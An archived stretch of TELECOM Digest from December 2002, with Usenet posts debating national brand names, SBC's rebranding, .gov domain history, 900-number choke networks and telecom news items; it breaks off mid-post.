that's not the case. > I never said that the technology world represented anything. But you > are attempting to imply that the entire world of technology and its > bogus branding is insignificant. If I may add a point, here. Every company in every industry has to start somewhere. When the railroads first started, these companies all started from scratch and came up with new names. Within a short period of time, a large number of these companies merged with other companies, went bust, changed names, etc. After a while, things stabilized, and we now have ""long standing"" national brand names arising from this. I'll bet back in the 1800's people were making the same arguments as you: national branding is a farce. Similarly, there were posts here recently about the past history of United Airlines, which arose out of many different airlines, aircraft manufacturers, airport operators, etc. From what I saw, the period of the late 20's to the early 40's saw a gazillion name changes and mergers which must have been very confusing to consumers. But eventually, ""United Airlines"" came out of it and was a very stable ""brand name"" for many decades. Why is the current situation in the telecom biz any different? Yes, the ""telephone"" business has been around for well over a century, but the ""telecommunications"" business is really still in its infancy, when you consider the dramatic changes involved. Phone companies are now offering internet access and a raft of other services that previously didn't exist (just like railroads and airlines). You may consider these things to be an ""extension"" of their earlier business, but I view it as a profound paradigm shift, and what we're seeing is the usual shaking out of the weak. Thirty years from now, the name ""SBC"" may be well ingrained into our consciousness as a ""national brand"". Or it may be some other name yet to come. But one way or another, the shakeout will end and stability will result. Eventually. :-) Then, Bob Goudreau wrote: > Now, in my neck of the woods, we do indeed have an NHL arena whose > name has very little local significance. This year, after finally > resolving disputes among various levels of government and NC State > University, the naming rights for Raleigh's still-newish > ""Entertainment and Sports Arena"" (home of the NHL's Carolina > Hurricanes as well as of NC State basketball) finally went on the > block. It is now called the ""RBC Center"", where the ""RBC"" stands > ultimately for ""Royal Bank of Canada"". That's right, an arena in > North Carolina is named for a Canadian bank! The actual rationale is > that RBC got into the US banking market a couple of years ago by > purchasing a small NC-based bank called Centura (which is now > rebranded as ""RBC Centura""). But maybe the real reason is that RBC > decided ""if you can't beat 'em, join 'em"", after watching the 'Canes > eliminate both of Canada's flagship hockey teams (Montreal Canadiens > and Toronto Maple Leafs) during last spring's Stanley Cup playoffs! :-) Believe me, there were more than a few of us up here north of the border cheering on the Hurricanes during last year's amazing run. Not so much because they took out the Canadiens (though I'm a Canadien-hater), but because they took out the Toronto ""Centre Of The Universe"" Maple Leafs. :-) Any team that knocks off any Toronto team earns my respect. :-) Joey Lindstrom Telus Sucks http://www.telussucks.info ------------------------------ From: John Higdon Subject: Re: The Farce of National Branding Organization: Green Hills and Cows Date: Wed, 18 Dec 2002 21:41:42 -0800 In article , Bob Goudreau wrote: > Think about why San Jose became a big enough urban area to have an NHL > team in the first place: Silicon Valley. And what is the company > commonly considered to be the first great fruit (technological fruit, > not citrus) of Silicon Valley? Hewlett-Packard, founded in that > famous garage about 60 years ago, and still locally headquartered. Yes and no. Today's ""HP"" is no longer the company founded by Hewlett and Packard. It is now right in there with all the other ""me too"" reshufflers and resellers. It can't wait to fire a significant portion of its workforce and it is in the process of homogenizing its product lines. That famous garage has morphed into endless offices full of paper shufflers. A more fitting name for the downtown hockey stadium would be Fiorina Arena. I can't think of a more appropriate tribute to the woman who brought a great company to its knees. > Thus, when HP bought Compaq and redubbed the arena the ""HP Pavilion"", > it gave it a name directly associated with one of the flagship > companies of the local area, in contrast to the old name which honored > a young company headquartered many hundreds of miles away in Texas. Well, sort of. I have to admit that when I heard ""Compaq Center"", I thought of Houston. But now that Hewlett-Packard is gone (the company has been offically renamed ""HP"", mainly as a slap to the founders' families ... who were against the merger with Compaq) the significance of the name no longer exists. John Higdon | Email Address Valid | SF: +1 415 428-COWS +1 408 264 4115 | Anytown, USA | FAX: +1 408 264 4407 ------------------------------ From: Michael A. Chance Subject: Re: The Farce of National Branding Organization: Prodigy Internet http://www.prodigy.com Date: Thu, 19 Dec 2002 11:40:41 GMT In article , John R. Levine says: > In the U.S., Anheuser-Busch makes all its own beer in 12 breweries > around the country. (Outside the U.S., in some areas they make their > own, in others it's licensed, but who in their right mind is going to > drink Budweiser in Canada or Germany or Ireland) Actually, the Budweiser you get in Germany is very good. Of course, it's not brewed by Anheuser-Busch, but by the original brewery in Budvar, Czech Republic. Old Augustus Busch knew that it was a well-known brand name among the German immigrants in St. Louis in the 1870s, so he just slapped that name on his light lager beer, without asking the Budvar brewery first (this was in the days before international copyright laws). There have been some on and off negotiations between A-B and Budvar, but they've never amounted to anything. As a result there are several European countries where A-B can't sell anything called ""Budweiser"". For a while, it was called simply ""B"", but now I think that it's called ""Bud"". Michael Chance In article , Gail M. Hall says: > And I understand they [Ameritech] contracted a lot of work to > outside companies Ameritech's IT division was particularly enamored of outsourcing and contractors. They'd outsourced their entire data center operations to IBM, and had apparently adopted the ""Microsoft model"" of contract programmers, analysts, etc. It wasn't unusual for a contractor to have worked for AIT for 4-5 years. SBC, after the merger, reversed most of those policies. The data center operations went back in house (most of the staff was hired from IBM - many of whom had gone from Ameritech to IBM just a few years earlier), and all IT contracts were limited to 12 months (with an option for an additional 6 months). A lot of the long time contractors were hired as full time employees. The resulting cost savings were in the several millions of dollars. Michael Chance ------------------------------ From: Barry Margolin Subject: Re: National Branding Organization: Genuity, Woburn, MA Date: Thu, 19 Dec 2002 15:11:45 GMT In article , John Higdon wrote: > In article , Barry Margolin > wrote: >> Of course, when names change every year, it's hard for a brand to have as >> much significance as a century-old name like Coca Cola. > Thanks for acknowledging that. > But what are the companies supposed to do? They can't predict whether >> their name is going to change or not. > Well, who changes the names if the companies don't do it themselves? The new management that takes over after a merger or acquisition. Aren't most of the examples of brand name changes that you gave a result of such activity? >> Should they just give up on branding, on the assumption that the >> name will change a year or two later? > I have a company. It's name has never changed in seventeen years. Am I > just lucky that the Great Cosmic Namechanger hasn't struck me? Yes, you're just lucky that you haven't had to declare bankruptcy. Or maybe you're just unlucky that no one has considered your company attractive enough to pay you lots of money to acquire it. I don't know where you got the idea that name changes are spontaneous or capricious. They're a consequence of other changes in the business, primarily mergers and acquisitions. Barry Margolin, barmar@genuity.net Genuity, Woburn, MA *** DON'T SEND TECHNICAL QUESTIONS DIRECTLY TO ME, post them to newsgroups. Please DON'T copy followups to me -- I'll assume it wasn't posted to the group. ------------------------------ From: Ed Ellers Subject: Re: National Branding Date: Thu, 19 Dec 2002 16:40:42 -0500 John Higdon wrote: > Well, who changes the names if the companies don't do it themselves? If the company is publicly traded, it can be taken over at any time, at which point the acquiring company may well choose to change the name. Even in the case of a privately held company, the owner can't really predict what his great-grandson will do after Great-Grandad has passed away, or be certain that the business won't be sold at some point (possibly because of inheritance taxes). > OK. You're shopping for a washer/dryer combination. Do you buy GE or > Whirlpool? That's low tech, and a couple of brand names that have been > household words for decades. Hate to burst your bubble, but both are > produced on the same overseas production line. At least some of them are. > You guess which ones. I've *never* heard of mainstream washers, dryers, ranges, etc. being imported to the U.S. from overseas in significant quantities, though Hoover did sell some Japanese two-tub compact washers three decades ago. Mexico is a different matter, but the appliances that GE imports from there (including, oddly enough, *gas* ranges) are engineered by GE. In short, the GE washers and dryers, and most other large appliances, are truly GE products, and those under the Whirlpool brand are actual Whirlpool products; they aren't generic. (GE and others do import microwave ovens from Asia, since unlike the big stuff the transportation costs aren't unreasonable.) > Or how about TV sets? RCA or Emerson? Two fine, American brands ... > produced on the same Taiwanese production line. Uh-uh. Thomson, the parent of RCA, designs most of its own products, sometimes in France, a lot of the time in Indiana. (VCRs and camcorders are the big exceptions, since the major Asian suppliers have those segments down cold. Even so, RCA VCRs are customized to provide the features that Thomson wants to offer.) Emerson sells whatever it can get from various suppliers. In short, *if you know where to look,* you can often find products that do have unique selling points, in many fields. ------------------------------ From: sjsobol@JustThe.net (Steven J. Sobol) Subject: Last Laugh! Re: Computer Programmer Faces U.S. Fraud Charge Date: Thu, 19 Dec 2002 15:51:23 -0000 Organization: JustThe.net LLC > From 'Monty Solomon' : > NEWARK, Dec. 17 - A former computer expert with UBS PaineWebber was > indicted today on federal charges of trying to manipulate the stock > price of the brokerage's parent company by sabotaging its computer > system last spring, the authorities said. Dammit. How are the CEO's going to defraud the company if the front-line workers got there first? *grumble* Steve Sobol, CTO JustThe.net LLC, Mentor On The Lake, OH http://JustTheNetLLC.com/ 888.480.4NET (4638) A practicing member of the Geek Orthodox religion! ------------------------------ TELECOM Digest is an electronic journal devoted mostly but not exclusively to telecommunications topics. It is circulated anywhere there is email, in addition to various telecom forums on a variety of networks such as Compuserve and America On Line, and other forums. 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End of TELECOM Digest V22 #198 ****************************** >From editor@telecom-digest.org Thu Dec 19 23:16:05 2002 Received: from localhost (localhost [[UNIX: localhost]]) by massis.lcs.mit.edu (8.11.3nb1/8.11.3) id gBK4G5l16638; Thu, 19 Dec 2002 23:16:05 -0500 (EST) Date: Thu, 19 Dec 2002 23:16:05 -0500 (EST) From: editor@telecom-digest.org Message-Id: <200212200416.gBK4G5l16638@massis.lcs.mit.edu> X-Authentication-Warning: massis.lcs.mit.edu: ptownson set sender to editor@telecom-digest.org using -f To: ptownson Approved: patsnewlist Subject: TELECOM Digest V22 #199 TELECOM Digest Thu, 19 Dec 2002 23:15:00 EST Volume 22 : Issue 199 Inside This Issue: Editor: Patrick A. Townson Re: The Farce of National Branding (John Higdon) Re: National Branding (John Higdon) Re: A Visual Example of the Decline and Fall of Ma Bell (Al Gillis) (Local) Gov't Groups Using ""*.gov"", was: Re: Ten TLD's (Danny Burstein) Re: In a Roundabout Way (John David Galt) Re: SBC Name - was Re: The Farce of National Branding (John Higdon) Re: SBC Name - was Re: The Farce of National Branding (Steven J. Sobol) Re: History of SAC 900 (Arthur Kamlet) Telephone/ISP Situation in Brazil? (Georg Schwarz) Re: Call Blocking Box For All Numbers From a Given Country (Paul Coxwell) TCI Domain Name Change (pdwills@voicenet.com) A Prospective New Group (Gary) All contents here are copyrighted by Patrick Townson and the individual writers/correspondents. Articles may be used in other journals or newsgroups, provided the writer's name and the Digest are included in the fair use quote. By using -any name or email address- included herein for -any- reason other than responding to an article herein, you agree to pay a hundred dollars to the recipients of the email. WE DO NOT PERMIT NAME/EMAIL ADDRESS HARVESTING FROM THIS JOURNAL. 'SALTED' EMAIL ADDRESSES APPEAR HEREIN TO VERIFY THIS. YOU GET SUED IN SMALL CLAIMS COURT IF YOU GET CAUGHT SPAMMING OR SENDING VIRUSES. DON'T DO IT. See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- From: John Higdon Subject: Re: The Farce of National Branding Organization: Green Hills and Cows Date: Thu, 19 Dec 2002 15:07:38 -0800 In article , Joey Lindstrom wrote: > It's YOUR point that national brands ""sometimes"" mean something. It's > OUR point that national brands ""most of the time"" mean something > (although we concede that this appears to be slowly changing, for the > worse, particularly in the telecom biz). OK, that's a thin enough line between our points of view. I'll accept your spin. >> I have a company. It's name has never changed in seventeen years. Am I >> just lucky that the Great Cosmic Namechanger hasn't struck me? > Perhaps. You've been unlucky, though, in that your company is not a > national brand and thus is outside the scope of the case you raised. > Nice red herring, though. How do you know? You don't even know what my company is. Nice dodge, though, in that you failed to explain why all these company's names change involuntarily ... as if it is out of the directors' hands. >> No, I said right up front that there were exceptions. Nice try at a >> strawman, but no cigar. > You did say (or at least imply) that virtually no national branding has > any meaning (while acknowledging that there are ""some"" exceptions). No, I clearly said that the idea of national branding is a farce (take a look at the Subject: line). >> So, if technology is involved it doesn't count? That is an interesting >> view of the world in itself. > Another red herring. Nobody said anything about it not counting. > What we're saying is that the ""problem"" seems especially > focused/severe in that particular industry, and that because you've > got your blinders on, it appears to you to be a pervasive problem > throughout all industries. We're saying that that's not the case. And how convenient of you to ignore my non-technology examples in other posts. And who is this ""we""? I see you have taken upon yourself to answer for someone else's comments to which I replied, but is there some consortium of which I am unaware? Do you have a mouse in your pocket? > If I may add a point, here. Every company in every industry has to > start somewhere. When the railroads first started, these companies > all started from scratch and came up with new names. Now who is dealing in red herrings? > Why is the current situation in the telecom biz any different? Yes, > the ""telephone"" business has been around for well over a century, but > the ""telecommunications"" business is really still in its infancy, when > you consider the dramatic changes involved. Excuse me? I've been in telecommunications for forty years ... and I didn't get in on the ground floor by any means. I don't consider that a young business. In article , Joey Lindstrom wrote: > Yeah, you are. It's called ""the court of public opinion"". By posting > your original thesis, you presented your ""case"" to the ""court"". The > ""court"" has examined your ""case"" and found it lacking, and now you wish > to deny all terms. I'll survive. Believe me, my fulfillment as a functional human being and as a player in my chosen field of endeavor has long since ceased to be dependent on the attitudes and belief systems of Usenet posters. You'll know what I mean after you have been posting for fifteen years or so. John Higdon | Email Address Valid | SF: +1 415 428-COWS +1 408 264 4115 | Anytown, USA | FAX: +1 408 264 4407 ------------------------------ From: John Higdon Subject: Re: National Branding Organization: Green Hills and Cows Date: Thu, 19 Dec 2002 15:17:16 -0800 In article , Barry Margolin wrote: > The new management that takes over after a merger or acquisition. > Aren't most of the examples of brand name changes that you gave a > result of such activity? I don't care who is responsible. It is still a mistake to muck with the brand name if ""national branding"" is important. I recall a recent case where some hotel chain was going on at length about protecting its ""brand name"" and it is image. Yet, as I stated before, the hotels around SFO shuffle brand names routinely. One particular hotel has carried the names of five national hotel chains in the last decade alone. Just how meaningful can those names be if they are carried by a single establishment? > Yes, you're just lucky that you haven't had to declare bankruptcy. Or > maybe you're just unlucky that no one has considered your company > attractive enough to pay you lots of money to acquire it. I have sold companies before, and I have watched the new owners literally toss the company's reputation and indentity into the garbage. I had to wonder why they bothered to buy the company. > I don't know where you got the idea that name changes are spontaneous > or capricious. They're a consequence of other changes in the > business, primarily mergers and acquisitions. The decision to change a name requires an affirmative action by the board. I assume that human beings are consciously doing this. Of course, there is the flip side: names that continue for decades, while the underlying company is literally merged and acquired out of existence. In neither case is the significance of national brands preserved. In article , Ed Ellers wrote: > If the company is publicly traded, it can be taken over at any time, > at which point the acquiring company may well choose to change the > name. Even in the case of a privately held company, the owner can't > really predict what his great-grandson will do after Great-Grandad has > passed away, or be certain that the business won't be sold at some > point (possibly because of inheritance taxes). All you are telling me is that leadership changes at a company. Well, duh! My unrefuted assertion is that someone (or a board of directors) must take affirmative steps to change the name of a company. Why would they do that (be they grandsons or hostile purchasers) when it dilutes and nullifies the national name recognition? > I've *never* heard of mainstream washers, dryers, ranges, etc. being > imported to the U.S. from overseas in significant quantities, though > Hoover did sell some Japanese two-tub compact washers three decades > ago. Well, now you have. > Mexico is a different matter, but the appliances that GE imports > from there (including, oddly enough, *gas* ranges) are engineered by > GE. In short, the GE washers and dryers, and most other large > appliances, are truly GE products, and those under the Whirlpool brand > are actual Whirlpool products; they aren't generic. Obviously, you haven't examined them very closely. I have. They not only use idential parts, the chassis, panels, knobs, and trim were obviously stamped from the same dies. > In short, *if you know where to look,* you can often find products > that do have unique selling points, in many fields. Well, that's good generic advice. If you know where to look, you can get just about anything you want. Unfortunately, you have to look beyond the brand names. And that's my point. John Higdon | Email Address Valid | SF: +1 415 428-COWS +1 408 264 4115 | Anytown, USA | FAX: +1 408 264 4407 ------------------------------ From: Al Gillis Subject: Re: A Visual Example of the Decline and Fall of Ma Bell Date: Wed, 18 Dec 2002 21:16:36 -0800 Organization: http://extra.newsguy.com Well, it's to bad that the Pioneers have been reduced to such a state. But, I noted the sign said Bell Atlantic -- a latter day creation of what the Pioneers originally sprung from -- Pennsylvania Bell (and, of course, the 21 other Bell Operating Companies along with Western Electric). Randall wrote in message news:telecom22.196.11@telecom-digest.org: > Please - no credit to me. This is Dave Farber's work (yes, THAT Dr. Dave > Farber, of UPenn, who with Vint Cerf really DID create the Internet ...) > ---------- Forwarded Message ---------- > Subject: [IP] a visual example o the decline and fall of Ma Bell > Date: Wed, 18 Dec 2002 13:23:56 -0500 > From: Dave Farber > To: ip > I took these pictures right next to the Verizon building in downtown > Pittsburgh. The plaque was on a seedy dirty abandoned set of stores > next to the Verizon Building. > For those who don't know about the Pioneers -- they were long time > Bell system employees who took pride in their careers and their > community and did many many charitable deeds. > http://homepage.mac.com/davidfarber/PhotoAlbum9.html > dave ------------------------------ From: Danny Burstein Subject: (Local) Gov't Groups Using ""*.gov"", was Re: Ten TLD's Date: Thu, 19 Dec 2002 05:23:01 UTC Organization: PANIX Public Access Internet and UNIX, NYC In Linc Madison writes: [ lots snipped] > I poked around in the name servers for .gov and found at least a dozen > states, plus a few cities and counties in the US, as well as a few > multi-state agencies (PANYNJ, for example). > A few examples: > ohio.gov alaska.gov hawaii.gov tennessee.gov > wa.gov (State of Washington) or.gov (Oregon) az.gov (Arizona) > maricopa.gov (Maricopa County, as in Phoenix AZ) > phoenix.gov (the city, too) sandiego.gov sanantonio.gov > panynj.gov (Port Authority of New York and New Jersey) > tva.gov (Tennessee Valley Authority) > Note that ""va.gov"" is the Veterans Administration, not Virginia. Another biggie is ""nyc.gov"". What happend is that in The Bad Old Days of One Internic, It Doesn't Work, the registrar (Network Solutions back then) would grant a *.gov to any group, whether federal, state, or local, that was, ahem, a gov't entity (or close enough, as in panynj.gov) Roughly five years ago they amended that policy to only give out *.gov to agencies at the federal level. But the earlier adopters were grandfathered in and could keep the names. Personally I think that restriction was a mistake, but that's neither here nor there. And yes, I realize that ""va.gov"" could be confusing. Oh, and now we get such wonderful names as, yes, ""smallpox.gov"". danny "" wishing the various States would standardize on their key agencies and subdomains, rather than some using prepends, some using appends, some spelling them one way, some another "" burstein Knowledge may be power, but communications is the key dannyb@panix.com [to foil spammers, my address has been double rot-13 encoded] ------------------------------ From: John David Galt Subject: Re: In a Roundabout Way Date: Wed, 18 Dec 2002 21:41:55 -0800 Organization: Diogenes the Cynic Hot-Tubbing Society Without seeking to rebuke anybody, I'd like to point out that there is a discussion on the same topic currently going on on misc.transport.road, which is where this topic really belongs. (I've also seen them discuss area codes, so go figure.) ------------------------------ From: John Higdon Subject: Re: SBC Name - was Re: The Farce of National Branding Organization: Green Hills and Cows Date: Wed, 18 Dec 2002 21:50:05 -0800 In article , Gail M. Hall wrote: > Today I got my phone bill, and it is now official. It says to make > checks out to ""SBC"" and a message on the outside of the envelope says, > ""SBC Ameritech(TM) will now be simply SBC ""Evolving to better suit > your needs"" SBC will have to figure out how to cash my checks made out to ""Pacific Bell"" in perpetuity. I have a long-standing practice of refusing to regularly change the name on checks made out to vendors. Pager checks are still made out to ""AirTouch""; telephone service checks are still made out to GTE; wireless checks are still made out to ""PacBell Mobile Services"" instead of ""Cingular"". If companies want to change their names like they change their socks (and then pretend to have five hundred years of legacy), they can count me out of the shuffle. John Higdon | Email Address Valid | SF: +1 415 428-COWS +1 408 264 4115 | Anytown, USA | FAX: +1 408 264 4407 [TELECOM Digest Editor's Note: Not a big problem, really. Those of you who still get cancelled checks back from the bank (Commerce here in Independence quit a few years ago) should look at the back side of the check sometime. Quite often, the rubber stamp endorsement simply says something generic such as 'Pay to the Account of Payee named within' along with the bank stamp, etc. They don't really care *who* you name on the 'Pay to the Order of' line on the front side. PAT] ------------------------------ From: sjsobol@JustThe.net (Steven J. Sobol) Subject: Re: SBC Name - was Re: The Farce of National Branding Date: Thu, 19 Dec 2002 15:56:27 -0000 Organization: JustThe.net LLC 'Gail M. Hall' wrote: > Alas, I guess they couldn't live up to such high hopes. Will SBC be > able to live up to OUR hopes? I don't care. Adelphia Powerlink is now in my neighborhood, and I picked up my cablemodem last week. Goodbye, SBC DSL. Goodbye, SBC POTS. Hello again, CoreComm, been a long time ... missed you! (I only got SBC POTS because I needed it to get DSL.) Steve Sobol, CTO JustThe.net LLC, Mentor On The Lake, OH http://JustTheNetLLC.com/ 888.480.4NET (4638) A practicing member of the Geek Orthodox religion! [TELECOM Digest Editor's Note: If I found *anyone* other than SBC was offering DSL here in Indy, I'd be inclined to jump ship myself. But I would really hate to get a bunch of promises, then spend a month or two without connectivity while whoever puttered around making false promises but never actually getting it started. That's the main reason I stay with Southwestern Bell on it. PAT] ------------------------------ From: kamlet@panix.com (Arthur Kamlet) Subject: Re: History of SAC 900 Date: 19 Dec 2002 01:33:33 -0500 Organization: PANIX -- Public Access Networks Corp. Reply-To: ArtKamlet@REMOVE.com In article , Mark J Cuccia wrote: > The 900 Special Area Code began in the US and (eastern) Canada (i.e., > Bell Canada territory), circa 1972/73, STRICTLY as a ""choke"" area code > for ""mass calling"" purposes. Those major destination cities throughout > the US and (eastern) Canada had a 900-NNX code (or two/more codes) > assigned for receiving ""high-volume"" traffic. (The 900 code was > actually ""assigned"" or ""reserved"" circa 1969/70, but the > implementation of the ""choke"" network didn't actually begin until > 1972/73) > It was intended for high-volume calling to specific nationally > advertised numbers, such as telethon pledge lines (NOT automated > charging of the pledge, but rather to reach a live person who would > take down the details of how to 'bill' the pledge), or other such > national (in scope) radio/TV call-in numbers. > It could also have possibly intended for nationally utilized > high-volume calls to time/temperature/weather services too. > ""Choke"" network means that there are only so many trunks to the first > toll switch that actually translates and routes out the dialed > 900-NNX-xxxx call. Thus, the toll network only handled a limited > number of attempts to such ""high-volume"" 900 numbers. The limited > number to trunks to the first toll network switch would ""choke off"" > various attempts above whatever the threshold was. This way, the toll > network ""itself"" wouldn't become overloaded with thousands upon > thousands of call attempts, which could have ""brought down"" the > network, or at least caused busy conditions for ""normal"" long-haul > traffic being placed at the same time. I seem to recall a case where no one bothered to ask if it would be OK to try to choke the network, during a Miss America Pagent. Actually it seems no one involved realized they were about to do just that. The pagent officials announced on the air 10 phone numbers that viewers could call to register their vote for one of the ten finalists. As I heard the story, a lone AT&T network engineer at the AT&T network operations center in Bedminster was watching the Miss America pagent on TV -- there are lots of TVs in the center to pick up any disaster that might require network management controls -- and so he was able to put in some number specific outgoing and incoming choke controls especially on the higher toll switches. But that wasn't really enough. The story continues the next year they did it right, using designed choke networks. Art Kamlet ArtKamlet @ AOL.com Columbus OH K2PZH ------------------------------ From: geos@epost.de (Georg Schwarz) Subject: Telephone/ISP Situation in Brazil? Date: Thu, 19 Dec 2002 10:57:30 +0100 Organization: private I'm looking for information about the situation in cities in south east Brazil with respect to telephone (fixed and mobile) and Internet access for residential customers. What's the regulation/competition situation and what are the price structures like? What is being offered? Is GSM 1800 in use? Are ISDN, ADSL or cable modem available for residential customers? What is the internet access tarif structure? Are flat access rates available? Any information incl. pointers to web sites of relevant telcos or providers would be welcome. I don't speak Portugese, but I'll do my best reading any websites anyway. First hand accounts and hints would be best of course. Thanks. PS: I've come across a Usenet hierarchy called brasil, but at least on my news server it's not very active and only in Portugese of course. Georg Schwarz http://home.pages.de/~schwarz/ geos@epost.de +49 177 5816270 ------------------------------ From: PaulCoxwell@aol.com Date: Thu, 19 Dec 2002 06:51:37 EST Subject: Re: Call Blocking Box For All Numbers From a Given Country? > Does anyone make a box that will watch the CID and (based on the first > N digits presented) disconnect (or pick up and drop?) the call instead > of answering it? I'd like to be able to drop all calls from a given > country ... Is that actually possible using caller ID? Do you actually see a country code on your caller ID for incoming international calls? Here in England such incoming calls are only flagged as ""International"" on caller ID -- No other information is available. Paul Coxwell, Norfolk, U.K. ------------------------------ Reply-To: pdwills@voicenet.com From: pdwills@voicenet.com Subject: TCI Domain Name Change Date: Thu, 19 Dec 2002 09:29:51 -0500 Pat, I notice that your site has a link to Telephone Collectors International which is most appreciated. This is a note to say that we just changed our domain name from www.singingwires.org to www.telephonecollectors.org and are requesting that folks change their links pages accordingly. Fortunately, this change should be for good. Thanks for taking the time and we apologize for the inconvenience. Regards, Paul Wills (TCI) ------------------------------ From: gary@sawyer.tc (Gary) Subject: A Prospective New Group Date: 19 Dec 2002 07:48:06 -0800 Organization: http://groups.google.com/ http://www.payphones.tk ------------------------------ TELECOM Digest is an electronic journal devoted mostly but not exclusively to telecommunications topics. It is circulated anywhere there is email, in addition to various telecom forums on a variety of networks such as Compuserve and America On Line, and other forums. It is also gatewayed to Usenet where it appears as the moderated newsgroup 'comp.dcom.telecom'. TELECOM Digest is a not-for-profit, mostly non-commercial educational service offered to the Internet by Patrick Townson. All the contents of the Digest are compilation-copyrighted. You may reprint articles in some other media on an occasional basis, but please attribute my work and that of the original author. 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All opinions expressed herein are deemed to be those of the author. Any organizations listed are for identification purposes only and messages should not be considered any official expression by the organization. End of TELECOM Digest V22 #199 ****************************** >From editor@telecom-digest.org Thu Dec 19 23:50:46 2002 Received: from localhost (localhost [[UNIX: localhost]]) by massis.lcs.mit.edu (8.11.3nb1/8.11.3) id gBK4okR17670; Thu, 19 Dec 2002 23:50:46 -0500 (EST) Date: Thu, 19 Dec 2002 23:50:46 -0500 (EST) From: editor@telecom-digest.org Message-Id: <200212200450.gBK4okR17670@massis.lcs.mit.edu> X-Authentication-Warning: massis.lcs.mit.edu: ptownson set sender to editor@telecom-digest.org using -f To: ptownson Approved: patsnewlist Subject: TELECOM Digest V22 #200 TELECOM Digest Thu, 19 Dec 2002 23:50:00 EST Volume 22 : Issue 200 Inside This Issue: Editor: Patrick A. Townson Radio Free Software (Monty Solomon) Microsoft to Bump Apple Into Sync-Hole? (Monty Solomon) Cable Firms, TV Makers in Digital TV Deal (Monty Solomon) Re: Anti-Spam Countermeasures (jbl) Celluar Phones Question (John J. Trombetti) Re: ElcomSoft (as in ""Dmitry"") Cleared in the DMCA Case (Ed Ellers) Re: New Weblink of Interest (Joseph) Re: Are All 900 Number Providers Hype Artists? (Herb Stein) Re: Lucent/AT&T Four Line Analog Phone Won't Release Hold (Herb Stein) Re: Ground Start Lines (Neal McLain) All contents here are copyrighted by Patrick Townson and the individual writers/correspondents. Articles may be used in other journals or newsgroups, provided the writer's name and the Digest are included in the fair use quote. By using -any name or email address- included herein for -any- reason other than responding to an article herein, you agree to pay a hundred dollars to the recipients of the email. WE DO NOT PERMIT NAME/EMAIL ADDRESS HARVESTING FROM THIS JOURNAL. 'SALTED' EMAIL ADDRESSES APPEAR HEREIN TO VERIFY THIS. YOU GET SUED IN SMALL CLAIMS COURT IF YOU GET CAUGHT SPAMMING OR SENDING VIRUSES. DON'T DO IT. See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- Date: Thu, 19 Dec 2002 00:59:35 -0500 From: Monty Solomon Subject: Radio Free Software Call them hackers of the last computing frontier: The GNU Radio coders believe that any device with a chip should be able to do, well, anything. By Sam Williams Dec. 18, 2002 | It's the vision that elicited a beatific smile from Alan Turing, a Bela Lugosi-like cackle from John von Neumann, and a cannabis-tinged giggle from 1970s-era PC creators: Imagine a universal machine, a computation device capable of mimicking the functionality of any other machine. OK, now imagine the looks of terror on the faces of existing machine makers. Imagine if the only thing stopping your handheld PDA from simultaneously being a GPS receiver, phone, radio or miniature TV was your willingness to download and install some free software program. For Eric Blossom, founder of the GNU Radio project, the vision plays itself over and over again, like a Mobius film strip. An electrical engineer by trade, Blossom knows better than most the thin barriers that separate one person's garage-door opener from another person's global positioning satellite receiver. He also knows the proprietary barriers that hinder technological innovation. Rather than curse those walls, Blossom has decided to gut the floor plan entirely with the help of free software. Sony, Philips and Nokia be damned. http://www.salon.com/tech/feature/2002/12/18/gnu_radio/ ------------------------------ Date: Thu, 19 Dec 2002 18:17:38 -0500 From: Monty Solomon Subject: Microsoft to bump Apple into sync-hole? By Joe Wilcox Staff Writer, CNET News.com Apple Computer is refining a strategy for connecting cell phones and other portable devices to its Macintosh systems in an effort to boost sales. But a rival endeavor from Microsoft, expected to be unveiled early next year, could dim the company's hopes, analysts said. Cupertino, Calif.-based Apple is nearing the end of a long testing cycle for iSync, its software for synchronizing information between Macs, Bluetooth-enabled cell phones, personal digital assistants or the company's iPod music player. The software, due for release early next year and currently available in a beta version, lets consumers and business users input data once and replicate it to many different devices. That's why synchronization software is shaping up as a key battleground for Apple and Microsoft. As consumers shift spending away from PCs to more portable devices, such as cell phones or digital music players, controlling the key element for synchronizing data on these devices with computers is becoming increasingly important, say analysts. Although no projections for the value of the synchronization software market are available, analysts said control of the market could be hugely profitable. http://news.com.com/2100-1040-978408.html ------------------------------ Date: Thu, 19 Dec 2002 18:25:00 -0500 From: Monty Solomon Subject: Cable Firms, TV Makers in Digital TV Deal By Reuters December 18, 2002, 7:02 PM PT Television makers and cable operators have reached a deal that would allow digital signals to pass seamlessly over their equipment, clearing a cumbersome hurdle in the transition to digital television, people familiar with the situation said Wednesday. The two industries were expected to announce the deal Thursday, ensuring that the roughly 70 million homes that subscribe to cable will be able to enjoy the crisp pictures and advanced features digital signals offer, the sources said. Originally designed to be complete by 2007, the digital switch has yet to take off due to the high cost of new digital televisions, limited programming and disputes over how consumers can record their favorite shows without bootlegging them over the Internet. For months, cable operators and TV makers had been at loggerheads over compatibility standards as well, but the deal to be announced Thursday will allow a seamless ""plug-and-play"" connection from the cable wire to the television, the sources said. http://news.com.com/2100-1040-978409.html ------------------------------ From: jbl Subject: Re: Anti-Spam Countermeasures Date: Thu, 19 Dec 2002 10:59:44 -0700 Organization: On the desert Reply-To: jbl@spamblocked.com In , Fritz Whittington wrote: > I have a friend who maintains you can do them a little more damage by > actually accepting their offer, then when you get the credit cards > chop them up. But I'd prefer not to get another envelope from them. This also has the possible side-effect of screwing up your credit history, as you get lots of credit cards; they get on your credit history a lot easier than they get off when you chop up the card. /JBL ------------------------------ From: John J. Trombetti Subject: Celluar Phones Question Date: Thu, 19 Dec 2002 11:27:45 -0800 Dear Sir, I am writing to see if you can tell me how many celluar phones are active in the United States; or where I may find such data? I do not need specifics, but a general number, even a rational estimate would work. I am putting together a project and it will be useable with celluar phones and I really don't know ""how"" many users there are out there? Any direction or help will be greatly appreciated, Sincerely, John J. Trombetti ------------------------------ From: Ed Ellers Subject: Re: ElcomSoft (as in ""Dmitry"") Cleared in the DMCA Case Date: Thu, 19 Dec 2002 16:45:46 -0500 John Higdon wrote: > Members of the jury indicated that the turning point was when the > witness from Adobe admitted in cross examination that they had not > been able to find one, single purloined copy produced by that > software. If the prosecution is going to claim that a product's > purpose is to produce pirate copies, then it would make sense that > one would find at least ONE such item. That's why Universal City Studios, in the ""Betamax"" case, not only sued Sony but also one person who was observed recording and playing back an MCA TV show, as well as the store where he bought the TV/VCR console and the distributor they got it from. Universal didn't seek any damages from this fellow; a Mr. 